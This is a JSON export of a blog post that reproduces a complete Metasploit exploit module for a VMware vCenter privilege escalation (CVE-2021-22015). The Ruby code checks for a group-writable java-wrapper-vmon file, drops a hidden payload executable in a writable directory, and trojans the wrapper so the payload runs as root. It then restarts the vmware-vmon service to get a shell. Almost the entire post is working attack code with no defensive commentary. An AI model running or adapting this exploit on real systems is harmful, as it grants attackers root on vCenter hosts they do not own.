{"id":34478,"date":"2022-12-06T20:20:48","date_gmt":"2022-12-06T17:20:48","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/170116\/vcenter_java_wrapper_vmon_priv_esc.rb.txt"},"modified":"2022-12-12T11:08:44","modified_gmt":"2022-12-12T07:38:44","slug":"vmware-vcenter-vscalation-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vmware-vcenter-vscalation-privilege-escalation\/","title":{"rendered":"VMware vCenter vScalation Privilege Escalation"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Local<br \/>\nRank = ManualRanking<\/p>\n<p dir=\"ltr\">include Msf::Post::Linux::Priv<br \/>\ninclude Msf::Post::File<br \/>\ninclude Msf::Exploit::EXE<br \/>\ninclude Msf::Exploit::FileDropper<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;VMware vCenter vScalation Priv Esc&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module exploits a privilege escalation in vSphere\/vCenter due to improper permissions on the<br \/>\n\/usr\/lib\/vmware-vmon\/java-wrapper-vmon file. It is possible for anyone in the<br \/>\ncis group to write to the file, which will execute as root on vmware-vmon service<br \/>\nrestart or host reboot.<\/p>\n<p dir=\"ltr\">This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.<br \/>\nThe following versions should be vulnerable:<br \/>\nvCenter 7.0 before U2c<br \/>\nvCenter 6.7 before U3o<br \/>\nvCenter 6.5 before U3q<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;h00die&#8217;, # msf module<br \/>\n&#8216;Yuval Lazar&#8217; # original PoC, analysis<br \/>\n],<br \/>\n&#8216;Platform&#8217; =&gt; [ &#8216;linux&#8217; ],<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X86, ARCH_X64 ],<br \/>\n&#8216;SessionTypes&#8217; =&gt; [ &#8216;shell&#8217;, &#8216;meterpreter&#8217; ],<br \/>\n&#8216;Targets&#8217; =&gt; [[ &#8216;Auto&#8217;, {} ]],<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/pentera.io\/blog\/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs\/&#8217; ],<br \/>\n[ &#8216;CVE&#8217;, &#8216;2021-22015&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.vmware.com\/security\/advisories\/VMSA-2021-0020.html&#8217; ]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-09-21&#8217;,<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;WfsDelay&#8217; =&gt; 1800 # 30min<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SERVICE_DOWN],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],<br \/>\n&#8216;AKA&#8217; =&gt; [&#8216;vScalation&#8217;]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_advanced_options [<br \/>\nOptString.new(&#8216;WritableDir&#8217;, [ true, &#8216;A directory where we can write files&#8217;, &#8216;\/tmp&#8217; ])<br \/>\n]\nend<\/p>\n<p dir=\"ltr\"># Simplify pulling the writable directory variable<br \/>\ndef base_dir<br \/>\ndatastore[&#8216;WritableDir&#8217;].to_s<br \/>\nend<\/p>\n<p dir=\"ltr\">def java_wrapper_vmon<br \/>\n&#8216;\/usr\/lib\/vmware-vmon\/java-wrapper-vmon&#8217;<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\ngroup_owner = cmd_exec(&#8220;stat -c \\&#8221;%G\\&#8221; \\&#8221;#{java_wrapper_vmon}\\&#8221;&#8221;)<br \/>\nif writable?(java_wrapper_vmon) &amp;&amp; group_owner == &#8216;cis&#8217;<br \/>\nreturn CheckCode::Appears(&#8220;#{java_wrapper_vmon} is writable and owned by cis group&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">CheckCode::Safe(&#8220;#{java_wrapper_vmon} not owned by &#8216;cis&#8217; group (owned by &#8216;#{group_owner}&#8217;), or not writable&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\n# Check if we&#8217;re already root<br \/>\nif is_root? &amp;&amp; !datastore[&#8216;ForceExploit&#8217;]\nfail_with Failure::BadConfig, &#8216;Session already has root privileges. Set ForceExploit to override&#8217;<br \/>\nend<\/p>\n<p dir=\"ltr\"># Make sure we can write our exploit and payload to the local system<br \/>\nunless writable? base_dir<br \/>\nfail_with Failure::BadConfig, &#8220;#{base_dir} is not writable&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\"># backup the original file<br \/>\n@backup = read_file(java_wrapper_vmon)<br \/>\npath = store_loot(<br \/>\n&#8216;java-wrapper-vmon.text&#8217;,<br \/>\n&#8216;text\/plain&#8217;,<br \/>\nrhost,<br \/>\n@backup,<br \/>\n&#8216;java-wrapper-vmon.text&#8217;<br \/>\n)<br \/>\nprint_good(&#8220;Original #{java_wrapper_vmon} backed up to #{path}&#8221;)<\/p>\n<p dir=\"ltr\"># Upload payload executable<br \/>\npayload_path = &#8220;#{base_dir}\/.#{rand_text_alphanumeric(5..10)}&#8221;<br \/>\nprint_status(&#8220;Writing payload to #{payload_path}&#8221;)<br \/>\nupload_and_chmodx payload_path, generate_payload_exe<br \/>\nregister_files_for_cleanup payload_path<\/p>\n<p dir=\"ltr\"># write trojaned file<br \/>\n# we want to write our payload towards the top to ensure it gets run<br \/>\n# writing it at the bottom of the file results in the payload not being run<br \/>\nprint_status(&#8220;Writing trojaned #{java_wrapper_vmon}&#8221;)<br \/>\nwrite_file(java_wrapper_vmon, @backup.gsub(&#8216;#!\/bin\/sh&#8217;, &#8220;#!\/bin\/sh\\n#{payload_path} &amp;\\n&#8221;))<\/p>\n<p dir=\"ltr\"># try to restart the service<br \/>\nprint_status(&#8216;Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)&#8217;)<br \/>\nservice_restart = cmd_exec(&#8216;systemctl restart vmware-vmon.service&#8217;)<br \/>\n# one error i&#8217;m seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files<br \/>\nif service_restart.downcase.include?(&#8216;access denied&#8217;) || service_restart.downcase.include?(&#8216;failed&#8217;)<br \/>\nprint_bad(&#8216;vmware-vmon service needs to be restarted, or host rebooted to obtain shell.&#8217;)<br \/>\nend<br \/>\nprint_status(&#8220;Waiting #{datastore[&#8216;WfsDelay&#8217;]} seconds for shell&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def cleanup<br \/>\nunless @backup.nil?<br \/>\nprint_status(&#8220;Replacing trojaned #{java_wrapper_vmon} with original&#8221;)<br \/>\nwrite_file(java_wrapper_vmon, @backup)<br \/>\nend<br \/>\nsuper<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Local Rank = ManualRanking include Msf::Post::Linux::Priv include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;VMware vCenter vScalation Priv Esc&#8217;, &#8216;Description&#8217; =&gt; %q{ This module exploits a privilege escalation in vSphere\/vCenter due &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34478","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34478","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34478"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34478\/revisions"}],"predecessor-version":[{"id":34747,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34478\/revisions\/34747"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34478"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34478"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34478"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}